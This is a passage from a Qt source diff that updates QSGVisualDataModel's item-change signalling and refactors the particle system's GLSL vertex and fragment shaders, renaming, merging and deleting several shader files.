+ if (d->m_propertyData.at(propertyId).role == role)
+ signalIndexes.append(propertyId + d->m_delegateDataType->signalOffset);
+ }
+ }
+ if (roles.isEmpty()) {
+ for (int propertyId = 0; propertyId < d->m_propertyData.count(); ++propertyId)
+ signalIndexes.append(propertyId + d->m_delegateDataType->signalOffset);
+ }
+
for (QHash<int,QSGVisualDataModelPrivate::ObjectRef>::ConstIterator iter = d->m_cache.begin();
iter != d->m_cache.end(); ++iter) {
const int idx = iter.key();
@@ -1038,41 +1380,8 @@ void QSGVisualDataModel::_q_itemsChanged(int index, int count,
if (idx >= index && idx < index+count) {
QSGVisualDataModelPrivate::ObjectRef objRef = *iter;
QSGVisualDataModelData *data = d->data(objRef.obj);
- for (int roleIdx = 0; roleIdx < roles.count(); ++roleIdx) {
- int role = roles.at(roleIdx);
- if (!changed && !d->watchedRoleIds.isEmpty() && d->watchedRoleIds.contains(role))
- changed = true;
- int propId = data->propForRole(role);
- if (propId != -1) {
- if (data->hasValue(propId)) {
- if (d->m_listModelInterface) {
- data->setValue(propId, d->m_listModelInterface->data(idx, role));
- } else if (d->m_abstractItemModel) {
- QModelIndex index = d->m_abstractItemModel->index(idx, 0, d->m_root);
- data->setValue(propId, d->m_abstractItemModel->data(index, role));
- }
- }
- } else {
- QString roleName;
- if (d->m_listModelInterface)
- roleName = d->m_listModelInterface->toString(role);
- else if (d->m_abstractItemModel)
- roleName = QString::fromUtf8(d->m_abstractItemModel->roleNames().value(role));
- qmlInfo(this) << "Changing role not present in item: " << roleName;
- }
- }
- if (d->m_modelDataPropId != -1) {
- // Handle the modelData role we add if there is just one role.
- if (data->hasValue(d->m_modelDataPropId)) {
- int role = d->m_roles.at(0);
- if (d->m_listModelInterface) {
- data->setValue(d->m_modelDataPropId, d->m_listModelInterface->data(idx, role));
- } else if (d->m_abstractItemModel) {
- QModelIndex index = d->m_abstractItemModel->index(idx, 0, d->m_root);
- data->setValue(d->m_modelDataPropId, d->m_abstractItemModel->data(index, role));
- }
- }
- }
+ for (int i = 0; i < signalIndexes.count(); ++i)
+ QMetaObject::activate(data, signalIndexes.at(i), 0);
}
}
if (changed)
diff --git a/src/declarative/particles/defaultshaders/coloredfragment.shader b/src/declarative/particles/defaultshaders/coloredfragment.shader
new file mode 100644
index 0000000000..4ae2643598
--- /dev/null
+++ b/src/declarative/particles/defaultshaders/coloredfragment.shader
@@ -0,0 +1,9 @@
+uniform sampler2D texture;
+uniform lowp float qt_Opacity;
+
+varying lowp vec4 fColor;
+
+void main() {
+ gl_FragColor = (texture2D(texture, gl_PointCoord)) * fColor * qt_Opacity;
+}
+
diff --git a/src/declarative/particles/defaultshaders/trailsvertex.shader b/src/declarative/particles/defaultshaders/coloredvertex.shader
index 7bc1d66b71..5b8339276c 100644
--- a/src/declarative/particles/defaultshaders/trailsvertex.shader
+++ b/src/declarative/particles/defaultshaders/coloredvertex.shader
@@ -1,18 +1,15 @@
attribute highp vec2 vPos;
-attribute highp vec2 vTex;
attribute highp vec4 vData; // x = time, y = lifeSpan, z = size, w = endSize
attribute highp vec4 vVec; // x,y = constant speed, z,w = acceleration
attribute lowp vec4 vColor;
-uniform highp mat4 matrix;
+uniform highp mat4 qt_Matrix;
uniform highp float timestamp;
-uniform lowp float opacity;
+uniform highp float entry;
-varying highp vec2 fTex;
varying lowp vec4 fColor;
-void main() {
- fTex = vTex;
+void main() {
highp float size = vData.z;
highp float endSize = vData.w;
@@ -23,15 +20,25 @@ void main() {
if (t < 0. || t > 1.)
currentSize = 0.;
+ lowp float fFade = 1.;
+
+ if (entry == 1.){
+ highp float fadeIn = min(t * 10., 1.);
+ highp float fadeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
+ fFade = fadeIn * fadeOut;
+ }else if(entry == 2.){
+ highp float sizeIn = min(t * 10., 1.);
+ highp float sizeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
+ currentSize = currentSize * sizeIn * sizeOut;
+ }
+
+ gl_PointSize = currentSize;
+
highp vec2 pos = vPos
- - currentSize / 2. + currentSize * vTex // adjust size
+ vVec.xy * t * vData.y // apply speed vector..
+ 0.5 * vVec.zw * pow(t * vData.y, 2.);
- gl_Position = matrix * vec4(pos.x, pos.y, 0, 1);
-
- highp float fadeIn = min(t * 10., 1.);
- highp float fadeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
+ gl_Position = qt_Matrix * vec4(pos.x, pos.y, 0, 1);
- fColor = vColor * fadeIn * fadeOut * opacity;
+ fColor = vColor * (fFade);
}
diff --git a/src/declarative/particles/defaultshaders/ctfragment.shader b/src/declarative/particles/defaultshaders/ctfragment.shader
deleted file mode 100644
index a17f5841ca..0000000000
--- a/src/declarative/particles/defaultshaders/ctfragment.shader
+++ /dev/null
@@ -1,11 +0,0 @@
-uniform sampler2D texture;
-uniform sampler2D colortable;
-uniform sampler2D opacitytable;
-
-varying highp vec2 fTex;
-varying lowp vec4 fColor;
-varying lowp float tt;
-
-void main() {
- gl_FragColor = (texture2D(texture, fTex).w) * fColor * texture2D(colortable, vec2(tt, 0.5)) *( texture2D(opacitytable, vec2(tt, 0.5)).w);
-}
diff --git a/src/declarative/particles/defaultshaders/ctvertex.shader b/src/declarative/particles/defaultshaders/ctvertex.shader
deleted file mode 100644
index b20676cc49..0000000000
--- a/src/declarative/particles/defaultshaders/ctvertex.shader
+++ /dev/null
@@ -1,38 +0,0 @@
-attribute highp vec2 vPos;
-attribute highp vec2 vTex;
-attribute highp vec4 vData; // x = time, y = lifeSpan, z = size, w = endSize
-attribute highp vec4 vVec; // x,y = constant speed, z,w = acceleration
-attribute lowp vec4 vColor;
-
-uniform highp mat4 matrix;
-uniform highp float timestamp;
-uniform sampler2D sizetable;
-uniform sampler2D opacitytable;
-
-varying highp vec2 fTex;
-varying lowp vec4 fColor;
-varying lowp float tt;
-
-void main() {
- fTex = vTex;
- highp float size = vData.z;
- highp float endSize = vData.w;
-
- highp float t = (timestamp - vData.x) / vData.y;
-
- highp float currentSize = mix(size, endSize, t * t) * texture2D(sizetable, vec2(t,0.5)).w;
-
- if (t < 0. || t > 1.)
- currentSize = 0.;
-
- highp vec2 pos = vPos
- - currentSize / 2. + currentSize * vTex // adjust size
- + vVec.xy * t * vData.y // apply speed vector..
- + 0.5 * vVec.zw * pow(t * vData.y, 2.);
-
- gl_Position = matrix * vec4(pos.x, pos.y, 0, 1);
-
- fColor = vColor;
- tt = t;
-
-}
diff --git a/src/declarative/particles/defaultshaders/deformablefragment.shader b/src/declarative/particles/defaultshaders/deformablefragment.shader
index 494053e319..1ac25ba208 100644
--- a/src/declarative/particles/defaultshaders/deformablefragment.shader
+++ b/src/declarative/particles/defaultshaders/deformablefragment.shader
@@ -1,8 +1,9 @@
uniform sampler2D texture;
+uniform lowp float qt_Opacity;
varying highp vec2 fTex;
-varying lowp float fFade;
+varying lowp vec4 fColor;
void main() {
- gl_FragColor = (texture2D(texture, fTex)) * fFade;
+ gl_FragColor = (texture2D(texture, fTex)) * fColor * qt_Opacity;
}
diff --git a/src/declarative/particles/defaultshaders/deformablevertex.shader b/src/declarative/particles/defaultshaders/deformablevertex.shader
index 01570950b1..ab6acde36d 100644
--- a/src/declarative/particles/defaultshaders/deformablevertex.shader
+++ b/src/declarative/particles/defaultshaders/deformablevertex.shader
@@ -4,13 +4,14 @@ attribute highp vec4 vData; // x = time, y = lifeSpan, z = size, w = endSize
attribute highp vec4 vVec; // x,y = constant speed, z,w = acceleration
attribute highp vec4 vDeformVec; //x,y x unit vector; z,w = y unit vector
attribute highp vec3 vRotation; //x = radians of rotation, y=rotation speed, z= bool autoRotate
+attribute lowp vec4 vColor;
-uniform highp mat4 matrix;
+uniform highp mat4 qt_Matrix;
uniform highp float timestamp;
-uniform lowp float opacity;
+uniform highp float entry;
varying highp vec2 fTex;
-varying lowp float fFade;
+varying lowp vec4 fColor;
void main() {
fTex = vTex;
@@ -21,37 +22,44 @@ void main() {
highp float currentSize = mix(size, endSize, t * t);
- highp vec2 pos;
- if (t < 0. || t > 1.){
+ if (t < 0. || t > 1.)
currentSize = 0.;
- pos = vPos;
- }else{
- highp float rotation = vRotation.x + vRotation.y * t * vData.y;
- if(vRotation.z == 1.0){
- highp vec2 curVel = vVec.zw * t * vData.y + vVec.xy;
- rotation += atan(curVel.y, curVel.x);
- }
- highp vec2 trigCalcs = vec2(cos(rotation), sin(rotation));
- highp vec2 xDeform = vDeformVec.xy * currentSize * (vTex.x-0.5);
- highp vec2 yDeform = vDeformVec.zw * currentSize * (vTex.y-0.5);
- highp vec2 xRotatedDeform;
- xRotatedDeform.x = trigCalcs.x*xDeform.x - trigCalcs.y*xDeform.y;
- xRotatedDeform.y = trigCalcs.y*xDeform.x + trigCalcs.x*xDeform.y;
- highp vec2 yRotatedDeform;
- yRotatedDeform.x = trigCalcs.x*yDeform.x - trigCalcs.y*yDeform.y;
- yRotatedDeform.y = trigCalcs.y*yDeform.x + trigCalcs.x*yDeform.y;
- pos = vPos
- + xRotatedDeform
- + yRotatedDeform
- //- vec2(1,1) * currentSize * 0.5 // 'center'
- + vVec.xy * t * vData.y // apply speed
- + 0.5 * vVec.zw * pow(t * vData.y, 2.); // apply acceleration
+
+ lowp float fFade = 1.;
+
+ if (entry == 1.){
+ highp float fadeIn = min(t * 10., 1.);
+ highp float fadeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
+ fFade = fadeIn * fadeOut;
+ }else if(entry == 2.){
+ highp float sizeIn = min(t * 10., 1.);
+ highp float sizeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
+ currentSize = currentSize * sizeIn * sizeOut;
}
- gl_Position = matrix * vec4(pos.x, pos.y, 0, 1);
+ highp vec2 pos;
+ highp float rotation = vRotation.x + vRotation.y * t * vData.y;
+ if(vRotation.z == 1.0){
+ highp vec2 curVel = vVec.zw * t * vData.y + vVec.xy;
+ rotation += atan(curVel.y, curVel.x);
+ }
+ highp vec2 trigCalcs = vec2(cos(rotation), sin(rotation));
+ highp vec2 xDeform = vDeformVec.xy * currentSize * (vTex.x-0.5);
+ highp vec2 yDeform = vDeformVec.zw * currentSize * (vTex.y-0.5);
+ highp vec2 xRotatedDeform;
+ xRotatedDeform.x = trigCalcs.x*xDeform.x - trigCalcs.y*xDeform.y;
+ xRotatedDeform.y = trigCalcs.y*xDeform.x + trigCalcs.x*xDeform.y;
+ highp vec2 yRotatedDeform;
+ yRotatedDeform.x = trigCalcs.x*yDeform.x - trigCalcs.y*yDeform.y;
+ yRotatedDeform.y = trigCalcs.y*yDeform.x + trigCalcs.x*yDeform.y;
+ pos = vPos
+ + xRotatedDeform
+ + yRotatedDeform
+ //- vec2(1,1) * currentSize * 0.5 // 'center'
+ + vVec.xy * t * vData.y // apply speed
+ + 0.5 * vVec.zw * pow(t * vData.y, 2.); // apply acceleration
- highp float fadeIn = min(t * 10., 1.);
- highp float fadeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
+ gl_Position = qt_Matrix * vec4(pos.x, pos.y, 0, 1);
- fFade = fadeIn * fadeOut * opacity;
+ fColor = vColor * fFade;
}
diff --git a/src/declarative/particles/defaultshaders/imagefragment.shader b/src/declarative/particles/defaultshaders/imagefragment.shader
new file mode 100644
index 0000000000..c2341fe6ff
--- /dev/null
+++ b/src/declarative/particles/defaultshaders/imagefragment.shader
@@ -0,0 +1,45 @@
+uniform sampler2D texture;
+uniform lowp float qt_Opacity;
+
+#ifdef SPRITE
+varying highp vec4 fTexS;
+#else
+#ifdef DEFORM //First non-pointsprite
+varying highp vec2 fTex;
+#endif
+#endif
+#ifdef COLOR
+varying lowp vec4 fColor;
+#else
+varying lowp float fFade;
+#endif
+#ifdef TABLE
+varying lowp vec2 tt;
+uniform sampler2D colortable;
+#endif
+
+void main() {
+#ifdef SPRITE
+ gl_FragColor = mix(texture2D(texture, fTexS.xy), texture2D(texture, fTexS.zw), tt.y)
+ * fColor
+ * texture2D(colortable, tt)
+ * qt_Opacity;
+#else
+#ifdef TABLE
+ gl_FragColor = texture2D(texture, fTex)
+ * fColor
+ * texture2D(colortable, tt)
+ * qt_Opacity;
+#else
+#ifdef DEFORM
+ gl_FragColor = (texture2D(texture, fTex)) * fColor * qt_Opacity;
+#else
+#ifdef COLOR
+ gl_FragColor = (texture2D(texture, gl_PointCoord)) * fColor * qt_Opacity;
+#else
+ gl_FragColor = texture2D(texture, gl_PointCoord) * (fFade * qt_Opacity);
+#endif //COLOR
+#endif //DEFORM
+#endif //TABLE
+#endif //SPRITE
+}
diff --git a/src/declarative/particles/defaultshaders/ultravertex.shader b/src/declarative/particles/defaultshaders/imagevertex.shader
index 65a1a3077a..e1033c9165 100644
--- a/src/declarative/particles/defaultshaders/ultravertex.shader
+++ b/src/declarative/particles/defaultshaders/imagevertex.shader
@@ -1,76 +1,97 @@
attribute highp vec2 vPos;
-attribute highp vec2 vTex;
attribute highp vec4 vData; // x = time, y = lifeSpan, z = size, w = endSize
attribute highp vec4 vVec; // x,y = constant speed, z,w = acceleration
+uniform highp float entry;
+#ifdef COLOR
attribute lowp vec4 vColor;
+#endif
+#ifdef DEFORM
+attribute highp vec2 vTex;
attribute highp vec4 vDeformVec; //x,y x unit vector; z,w = y unit vector
attribute highp vec3 vRotation; //x = radians of rotation, y=rotation speed, z= bool autoRotate
+#endif
+#ifdef SPRITE
attribute highp vec4 vAnimData;// idx, duration, frameCount (this anim), timestamp (this anim)
-
-uniform highp mat4 matrix;
-uniform highp float timestamp;
uniform highp float framecount; //maximum of all anims
uniform highp float animcount;
-uniform sampler2D sizetable;
+#endif
-varying lowp float tt;
-varying highp vec2 fTexA;
-varying highp vec2 fTexB;
-varying lowp float progress;
+uniform highp mat4 qt_Matrix;
+uniform highp float timestamp;
+#ifdef TABLE
+varying lowp vec2 tt;//y is progress if Sprite mode
+uniform highp float sizetable[64];
+uniform highp float opacitytable[64];
+#endif
+#ifdef SPRITE
+varying highp vec4 fTexS;
+#else
+#ifdef DEFORM
+varying highp vec2 fTex;
+#endif
+#endif
+#ifdef COLOR
varying lowp vec4 fColor;
+#else
+varying lowp float fFade;
+#endif
void main() {
- highp float size = vData.z;
- highp float endSize = vData.w;
highp float t = (timestamp - vData.x) / vData.y;
-
+ if (t < 0. || t > 1.){
+#ifdef DEFORM //Not point sprites
+ gl_Position = qt_Matrix * vec4(vPos.x, vPos.y, 0., 1.);
+#else
+ gl_PointSize = 0.;
+#endif
+ return;
+ }
+#ifdef SPRITE
//Calculate frame location in texture
highp float frameIndex = mod((((timestamp - vAnimData.w)*1000.)/vAnimData.y),vAnimData.z);
- progress = mod((timestamp - vAnimData.w)*1000., vAnimData.y) / vAnimData.y;
+ tt.y = mod((timestamp - vAnimData.w)*1000., vAnimData.y) / vAnimData.y;
frameIndex = floor(frameIndex);
- highp vec2 frameTex = vTex;
- if(vTex.x == 0.)
- frameTex.x = (frameIndex/framecount);
- else
- frameTex.x = 1. * ((frameIndex + 1.)/framecount);
-
- if(vTex.y == 0.)
- frameTex.y = (vAnimData.x/animcount);
- else
- frameTex.y = 1. * ((vAnimData.x + 1.)/animcount);
+ fTexS.xy = vec2(((frameIndex + vTex.x) / framecount), ((vAnimData.x + vTex.y) / animcount));
- fTexA = frameTex;
//Next frame is also passed, for interpolation
//### Should the next anim be precalculated to allow for interpolation there?
if(frameIndex != vAnimData.z - 1.)//Can't do it for the last frame though, this anim may not loop
frameIndex = mod(frameIndex+1., vAnimData.z);
-
- if(vTex.x == 0.)
- frameTex.x = (frameIndex/framecount);
- else
- frameTex.x = 1. * ((frameIndex + 1.)/framecount);
-
- if(vTex.y == 0.)
- frameTex.y = (vAnimData.x/animcount);
- else
- frameTex.y = 1. * ((vAnimData.x + 1.)/animcount);
- fTexB = frameTex;
-
- highp float currentSize = mix(size, endSize, t * t) * texture2D(sizetable, vec2(t,0.5)).w;
-
- if (t < 0. || t > 1.)
- currentSize = 0.;
+ fTexS.zw = vec2(((frameIndex + vTex.x) / framecount), ((vAnimData.x + vTex.y) / animcount));
+#else
+#ifdef DEFORM
+ fTex = vTex;
+#endif
+#endif
+ highp float currentSize = mix(vData.z, vData.w, t * t);
+ lowp float fade = 1.;
+ highp float fadeIn = min(t * 10., 1.);
+ highp float fadeOut = 1. - clamp((t - 0.75) * 4.,0., 1.);
+
+#ifdef TABLE
+ currentSize = currentSize * sizetable[int(floor(t*64.))];
+ fade = fade * opacitytable[int(floor(t*64.))];
+#endif
+ if (entry == 1.)
+ fade = fadeIn * fadeOut;
+ else if(entry == 2.)
+ currentSize = currentSize * fadeIn * fadeOut;
highp vec2 pos;
+#ifdef DEFORM
highp float rotation = vRotation.x + vRotation.y * t * vData.y;
if(vRotation.z == 1.0){
highp vec2 curVel = vVec.zw * t * vData.y + vVec.xy;
rotation += atan(curVel.y, curVel.x);
}
highp vec2 trigCalcs = vec2(cos(rotation), sin(rotation));
+ highp vec4 deform = vDeformVec * currentSize * (vTex.xxyy - 0.5);
+ highp vec4 rotatedDeform = deform.xxzz * trigCalcs.xyxy;
+ rotatedDeform = rotatedDeform + (deform.yyww * trigCalcs.yxyx * vec4(-1.,1.,-1.,1.));
+ /* The readable version:
highp vec2 xDeform = vDeformVec.xy * currentSize * (vTex.x-0.5);
highp vec2 yDeform = vDeformVec.zw * currentSize * (vTex.y-0.5);
highp vec2 xRotatedDeform;
@@ -79,16 +100,26 @@ void main() {
highp vec2 yRotatedDeform;
yRotatedDeform.x = trigCalcs.x*yDeform.x - trigCalcs.y*yDeform.y;
yRotatedDeform.y = trigCalcs.y*yDeform.x + trigCalcs.x*yDeform.y;
+ */
pos = vPos
- + xRotatedDeform
- + yRotatedDeform
- //- vec2(1,1) * currentSize * 0.5 // 'center'
+ + rotatedDeform.xy
+ + rotatedDeform.zw
+ vVec.xy * t * vData.y // apply speed
+ 0.5 * vVec.zw * pow(t * vData.y, 2.); // apply acceleration
-
- gl_Position = matrix * vec4(pos.x, pos.y, 0, 1);
-
- fColor = vColor;
- tt = t;
-
+#else
+ pos = vPos
+ + vVec.xy * t * vData.y // apply speed vector..
+ + 0.5 * vVec.zw * pow(t * vData.y, 2.);
+ gl_PointSize = currentSize;
+#endif
+ gl_Position = qt_Matrix * vec4(pos.x, pos.y, 0, 1);
+
+#ifdef COLOR
+ fColor = vColor * fade;
+#else
+ fFade = fade;
+#endif
+#ifdef TABLE
+ tt.x = t;
+#endif
}
diff --git a/src/declarative/particles/defaultshaders/simplefragment.shader b/src/declarative/particles/defaultshaders/simplefragment.shader
index 494053e319..9b445da52f 100644
--- a/src/declarative/particles/defaultshaders/simplefragment.shader
+++ b/src/declarative/particles/defaultshaders/simplefragment.shader
@@ -1,8 +1,8 @@
uniform sampler2D texture;
+uniform lowp float qt_Opacity;
-varying highp vec2 fTex;
varying lowp float fFade;
void main() {
- gl_FragColor = (texture2D(texture, fTex)) * fFade;
+ gl_FragColor = texture2D(texture, gl_PointCoord) * (fFade * qt_Opacity);
}
diff --git a/src/declarative/particles/defaultshaders/simplevertex.shader b/src/declarative/particles/defaultshaders/simplevertex.shader
index f185ef0700..c287e159a5 100644
--- a/src/declarative/particles/defaultshaders/simplevertex.shader
+++ b/src/declarative/particles/defaultshaders/simplevertex.shader
@@ -1,36 +1,39 @@
attribute highp vec2 vPos;
-attribute highp vec2 vTex;
attribute highp vec4 vData; // x = time, y = lifeSpan, z = size, w = endSize
attribute highp vec4 vVec; // x,y = constant speed, z,w = acceleration
-uniform highp mat4 matrix;
+uniform highp mat4 qt_Matrix;
uniform highp float timestamp;
-uniform lowp float opacity;
+uniform highp float entry;
-varying highp vec2 fTex;
varying lowp float fFade;
void main() {
- fTex = vTex;
- highp float size = vData.z;
- highp float endSize = vData.w;
-
highp float t = (timestamp - vData.x) / vData.y;
- highp float currentSize = mix(size, endSize, t * t);
+ highp float currentSize = mix(vData.z, vData.w, t * t);
if (t < 0. || t > 1.)
currentSize = 0.;
+ fFade = 1.;
+
+ if (entry == 1.){
+ highp float fadeIn = min(t * 10., 1.);
+ highp float fadeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
+ fFade = fadeIn * fadeOut;
+ }else if(entry == 2.){
+ highp float sizeIn = min(t * 10., 1.);
+ highp float sizeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
+ currentSize = currentSize * sizeIn * sizeOut;
+ }
+
+ gl_PointSize = currentSize;
+
highp vec2 pos = vPos
- - currentSize / 2. + currentSize * vTex // adjust size
+ vVec.xy * t * vData.y // apply speed vector..
+ 0.5 * vVec.zw * pow(t * vData.y, 2.);
- gl_Position = matrix * vec4(pos.x, pos.y, 0, 1);
-
- highp float fadeIn = min(t * 10., 1.);
- highp float fadeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
+ gl_Position = qt_Matrix * vec4(pos.x, pos.y, 0, 1);
- fFade = fadeIn * fadeOut * opacity;
}
diff --git a/src/declarative/particles/defaultshaders/spritefragment.shader b/src/declarative/particles/defaultshaders/spritefragment.shader
index 4d89d69c6a..86002f03fb 100644
--- a/src/declarative/particles/defaultshaders/spritefragment.shader
+++ b/src/declarative/particles/defaultshaders/spritefragment.shader
@@ -1,10 +1,17 @@
uniform sampler2D texture;
+uniform sampler2D colortable;
+uniform sampler2D opacitytable;
+uniform lowp float qt_Opacity;
varying highp vec2 fTexA;
varying highp vec2 fTexB;
varying lowp float progress;
varying lowp vec4 fColor;
+varying lowp float tt;
void main() {
- gl_FragColor = mix(texture2D(texture, fTexA), texture2D(texture, fTexB), progress) * fColor.w;
+ gl_FragColor = mix(texture2D(texture, fTexA), texture2D(texture, fTexB), progress)
+ * fColor
+ * texture2D(colortable, vec2(tt, 0.5))
+ * (texture2D(opacitytable, vec2(tt, 0.5)).w * qt_Opacity);
}
diff --git a/src/declarative/particles/defaultshaders/spritevertex.shader b/src/declarative/particles/defaultshaders/spritevertex.shader
index 78b8e36b3b..96ce3454b8 100644
--- a/src/declarative/particles/defaultshaders/spritevertex.shader
+++ b/src/declarative/particles/defaultshaders/spritevertex.shader
@@ -1,26 +1,41 @@
attribute highp vec2 vPos;
-attribute highp vec2 vTex;
attribute highp vec4 vData; // x = time, y = lifeSpan, z = size, w = endSize
attribute highp vec4 vVec; // x,y = constant speed, z,w = acceleration
+#ifdef COLOR
+attribute lowp vec4 vColor;
+#endif
+#ifdef DEFORM
+attribute highp vec2 vTex;
+attribute highp vec4 vDeformVec; //x,y x unit vector; z,w = y unit vector
+attribute highp vec3 vRotation; //x = radians of rotation, y=rotation speed, z= bool autoRotate
+#endif
+#ifdef SPRITE
attribute highp vec4 vAnimData;// idx, duration, frameCount (this anim), timestamp (this anim)
-
-uniform highp mat4 matrix;
-uniform highp float timestamp;
-uniform lowp float opacity;
uniform highp float framecount; //maximum of all anims
uniform highp float animcount;
-
+#endif
+
+uniform highp mat4 qt_Matrix;
+uniform highp float timestamp;
+#ifdef TABLE
+varying lowp float tt;
+#endif
+#ifdef SPRITE
+varying lowp float progress;
varying highp vec2 fTexA;
varying highp vec2 fTexB;
-varying lowp float progress;
+#elseif DEFORM
+varying highp vec2 fTex;
+#endif
+#ifdef COLOR
varying lowp vec4 fColor;
+#endif
-void main() {
- highp float size = vData.z;
- highp float endSize = vData.w;
- highp float t = (timestamp - vData.x) / vData.y;
+void main() {
+ highp float t = (timestamp - vData.x) / vData.y;
+#ifdef SPRITE
//Calculate frame location in texture
highp float frameIndex = mod((((timestamp - vAnimData.w)*1000.)/vAnimData.y),vAnimData.z);
progress = mod((timestamp - vAnimData.w)*1000., vAnimData.y) / vAnimData.y;
@@ -53,25 +68,46 @@ void main() {
else
frameTex.y = 1. * ((vAnimData.x + 1.)/animcount);
fTexB = frameTex;
+#endif
- //Applying Size here seems to screw with RockingAffector?
- highp float currentSize = mix(size, endSize, t * t);
+ highp float currentSize = mix(vData.z, vData.w, t * t);
if (t < 0. || t > 1.)
currentSize = 0.;
- //If affector is mananging pos, they don't set speed?
- highp vec2 pos = vPos
- - currentSize / 2. + currentSize * vTex // adjust size
- + vVec.xy * t * vData.y // apply speed vector..
- + 0.5 * vVec.zw * pow(t * vData.y, 2.);
-
- gl_Position = matrix * vec4(pos.x, pos.y, 0, 1);
-
- // calculate opacity
- highp float fadeIn = min(t * 10., 1.);
- highp float fadeOut = 1. - max(0., min((t - 0.75) * 4., 1.));
-
- lowp vec4 white = vec4(1.);
- fColor = white * fadeIn * fadeOut * opacity;
+ highp vec2 pos;
+#ifdef DEFORM
+ highp float rotation = vRotation.x + vRotation.y * t * vData.y;
+ if(vRotation.z == 1.0){
+ highp vec2 curVel = vVec.zw * t * vData.y + vVec.xy;
+ rotation += atan(curVel.y, curVel.x);
+ }
+ highp vec2 trigCalcs = vec2(cos(rotation), sin(rotation));
+ highp vec2 xDeform = vDeformVec.xy * currentSize * (vTex.x-0.5);
+ highp vec2 yDeform = vDeformVec.zw * currentSize * (vTex.y-0.5);
+ highp vec2 xRotatedDeform;
+ xRotatedDeform.x = trigCalcs.x*xDeform.x - trigCalcs.y*xDeform.y;
+ xRotatedDeform.y = trigCalcs.y*xDeform.x + trigCalcs.x*xDeform.y;
+ highp vec2 yRotatedDeform;
+ yRotatedDeform.x = trigCalcs.x*yDeform.x - trigCalcs.y*yDeform.y;
+ yRotatedDeform.y = trigCalcs.y*yDeform.x + trigCalcs.x*yDeform.y;
+ pos = vPos
+ + xRotatedDeform
+ + yRotatedDeform
+ //- vec2(1,1) * currentSize * 0.5 // 'center'
+ + vVec.xy * t * vData.y // apply speed
+ + 0.5 * vVec.zw * pow(t * vData.y, 2.); // apply acceleration
+#else
+ pos = vPos
+ + vVec.xy * t * vData.y // apply speed vector..
+ + 0.5 * vVec.zw * pow(t * vData.y, 2.);
+#endif
+ gl_Position = qt_Matrix * vec4(pos.x, pos.y, 0, 1);
+
+#ifdef COLOR
+ fColor = vColor;
+#endif
+#ifdef TABLE
+ tt = t;
+#endif
}
diff --git a/src/declarative/particles/defaultshaders/superfragment.shader b/src/declarative/particles/defaultshaders/superfragment.shader
deleted file mode 100644
index a17f5841ca..0000000000
--- a/src/declarative/particles/defaultshaders/superfragment.shader
+++ /dev/null
@@ -1,11 +0,0 @@
-uniform sampler2D texture;
-uniform sampler2D colortable;
-uniform sampler2D opacitytable;
-
-varying highp vec2 fTex;
-varying lowp vec4 fColor;
-varying lowp float tt;
-
-void main() {
- gl_FragColor = (texture2D(texture, fTex).w) * fColor * texture2D(colortable, vec2(tt, 0.5)) *( texture2D(opacitytable, vec2(tt, 0.5)).w);
-}
diff --git a/src/declarative/particles/defaultshaders/tabledfragment.shader b/src/declarative/particles/defaultshaders/tabledfragment.shader
new file mode 100644
index 0000000000..e92d8050eb
--- /dev/null
+++ b/src/declarative/particles/defaultshaders/tabledfragment.shader
@@ -0,0 +1,23 @@
+uniform sampler2D texture;
+uniform sampler2D colortable;
+uniform sampler2D opacitytable;
+uniform sampler2D sizetable;
+uniform lowp float qt_Opacity;
+
+varying highp vec2 fTex;
+varying lowp vec4 fColor;
+varying lowp float tt;
+
+void main() {
+ highp vec2 tex = (((fTex - 0.5) / texture2D(sizetable, vec2(tt, 0.5)).w) + 0.5);
+ lowp vec4 color;
+ if(tex.x < 1.0 && tex.x > 0.0 && tex.y < 1.0 && tex.y > 0.0){//No CLAMP_TO_BORDER in ES2, so have to do it ourselves
+ color = texture2D(texture, tex);
+ }else{
+ color = vec4(0.,0.,0.,0.);
+ }
+ gl_FragColor = color
+ * fColor
+ * texture2D(colortable, vec2(tt, 0.5))
+ * (texture2D(opacitytable, vec2(tt, 0.5)).w * qt_Opacity);
+}
diff --git a/src/declarative/particles/defaultshaders/supervertex.shader b/src/declarative/particles/defaultshaders/tabledvertex.shader
index 432a23ce05..ef3c35da82 100644
--- a/src/declarative/particles/defaultshaders/supervertex.shader
+++ b/src/declarative/particles/defaultshaders/tabledvertex.shader
@@ -6,14 +6,14 @@ attribute lowp vec4 vColor;
attribute highp vec4 vDeformVec; //x,y x unit vector; z,w = y unit vector
attribute highp vec3 vRotation; //x = radians of rotation, y=rotation speed, z= bool autoRotate
-uniform highp mat4 matrix;
+uniform highp mat4 qt_Matrix;
uniform highp float timestamp;
-uniform sampler2D sizetable;
-uniform sampler2D opacitytable;
+varying lowp float tt;
varying highp vec2 fTex;
+varying lowp float progress;
varying lowp vec4 fColor;
-varying lowp float tt;
+
void main() {
fTex = vTex;
@@ -22,8 +22,7 @@ void main() {
highp float t = (timestamp - vData.x) / vData.y;
- highp float currentSize = mix(size, endSize, t * t) * texture2D(sizetable, vec2(t,0.5)).w;
-
+ highp float currentSize = mix(size, endSize, t * t);
if (t < 0. || t > 1.)
currentSize = 0.;
@@ -49,7 +48,7 @@ void main() {
+ vVec.xy * t * vData.y // apply speed
+ 0.5 * vVec.zw * pow(t * vData.y, 2.); // apply acceleration
- gl_Position = matrix * vec4(pos.x, pos.y, 0, 1);
+ gl_Position = qt_Matrix * vec4(pos.x, pos.y, 0, 1);
fColor = vColor;
tt = t;
diff --git a/src/declarative/particles/defaultshaders/trailsfragment.shader b/src/declarative/particles/defaultshaders/trailsfragment.shader
deleted file mode 100644
index d3db87fa30..0000000000
--- a/src/declarative/particles/defaultshaders/trailsfragment.shader
+++ /dev/null
@@ -1,8 +0,0 @@
-uniform sampler2D texture;
-
-varying highp vec2 fTex;
-varying lowp vec4 fColor;
-
-void main() {
- gl_FragColor = (texture2D(texture, fTex).w) * fColor;
-}
diff --git a/src/declarative/particles/defaultshaders/ultrafragment.shader b/src/declarative/particles/defaultshaders/ultrafragment.shader
deleted file mode 100644
index 0627d0f1e8..0000000000
--- a/src/declarative/particles/defaultshaders/ultrafragment.shader
+++ /dev/null
@@ -1,16 +0,0 @@
-uniform sampler2D texture;
-uniform sampler2D colortable;
-uniform sampler2D opacitytable;
-
